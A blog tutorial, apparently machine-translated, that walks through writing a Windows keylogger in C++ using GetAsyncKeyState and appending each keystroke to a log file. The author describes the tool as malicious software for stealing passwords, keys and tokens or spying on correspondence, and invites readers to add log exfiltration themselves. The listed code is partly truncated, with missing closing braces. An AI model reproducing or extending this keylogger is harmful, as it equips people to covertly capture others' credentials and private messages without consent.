Let’s write Keylogger for C++

Let’s write Keylogger for C++

Today we will write a keyboard spy in C++ as an example and only for introductory purposes. Have a nice reading!

KeyLogger is malicious software that registers various user actions (typed keys on the keyboard, mouse clicks, etc.).

What is it used for ? Most often keyloggers are used to obtain important data (passwords, keys, tokens, etc.) from a user. But I said most often :). We do not rule out such an outcome of events that someone wants to follow the correspondence of a person and dig into his dirty laundry, but we are above all this.

I think you’ve noticed that I’ve been writing software on Python all the time (including malvari), why are the “pluses” now? And I will answer you: “Hz, I wanted to write on the pros. Basically, I wrote on Python, because it is the easiest language for beginners, which is quite easy to understand, with C++ the situation is a bit more complicated, the code there is not so clear and simple, but still, you can live.

Especially, the keylogger that we will write today on the pros is quite simple.

Enterprise setup

On the pros it is more convenient to write using the development environment, as there is a built-in compiler. Yes, and what did you want? This is not a python with its ease of writing and use, it’s a bit more complicated.

There are many environments to develop and write code for the pros, here are some of the best (in my opinion), choose which one you like:


Are you done with the installation? Let’s start writing the code.

Write code

Connect the required libraries and enable the std:: namespace (not to write std:: 100 times each):

#include <iostream>

#include <Windows.h>

using namespace std;

We write a prototype for the save function (which we’ll write a bit later) that will save the keys you pressed in a file:

int save(int _key, char *file);

So, now we will write our header function, in it we will receive and process the pressed keys.

int main() { 
   char i; // declare a variable i that stores the character
   while (true) { // infinite loop
      Sleep(10); // slight wait
      for (i = 8; i <= 255; i++) { // loop for, where we go through 
         if (GetAsyncKeyState(i) == -32767) { // If the key is pressed
            save(i, "log.txt"); // Call the save(save file) function
   return 0; // return 0(it must always be written)

We are done with the main function, now we write our save function (for which we have already prescribed a prototype):

int save(int _key, char *file) {
   cout << _key << endl; // Number output  
   Sleep(10); // wait
   FILE *OUTPUT_FILE; // Create a variable for writing to a file   
   OUTPUT_FILE = fopen(file, "a+"); // Create a file(log.txt)
   // Next we see if the special keys are pressed and process them.
   if (_key == VK_SHIFT)
      fprintf(OUTPUT_FILE, "%s", "[SHIFT]");      
   else if (_key == VK_BACK)
      fprintf(OUTPUT_FILE, "%s", "[BACK]");  
   else if (_key == VK_LBUTTON)  
      fprintf(OUTPUT_FILE, "%s", "[LBUTTON]");     
   else if (_key == VK_RETURN)  
      fprintf(OUTPUT_FILE, "%s", "[RETURN]\n");      
   else if (_key == VK_ESCAPE)  
      fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");     
   else // If nothing fits, just write down the key
      fprintf(OUTPUT_FILE, "%s", &_key);
   fclose(OUTPUT_FILE); // Close file
   return 0; // return 0

That’s all! Our simple keylogger is ready.

Save the file with the .cpp extension and then compile through the IDE.

Of course, this keylogger is very simple, it doesn’t even have the function to send logs, but this is an example, you can add functions and upgrade it yourself, it’s all in your hands, I only gave you the basis and food for thought :).

Full code

Full code on PasteBin

This is all. Today we have created a very simple keylogger in C++.

WARNING! All links in the articles may lead to malicious sites or contain viruses. Follow them at your own risk. Those who purposely visit the article know what they are doing. Do not click on everything thoughtlessly.


0 0 vote
Article Rating
Notify of
Inline Feedbacks
View all comments

Do NOT follow this link or you will be banned from the site!
Would love your thoughts, please comment.x

Spelling error report

The following text will be sent to our editors: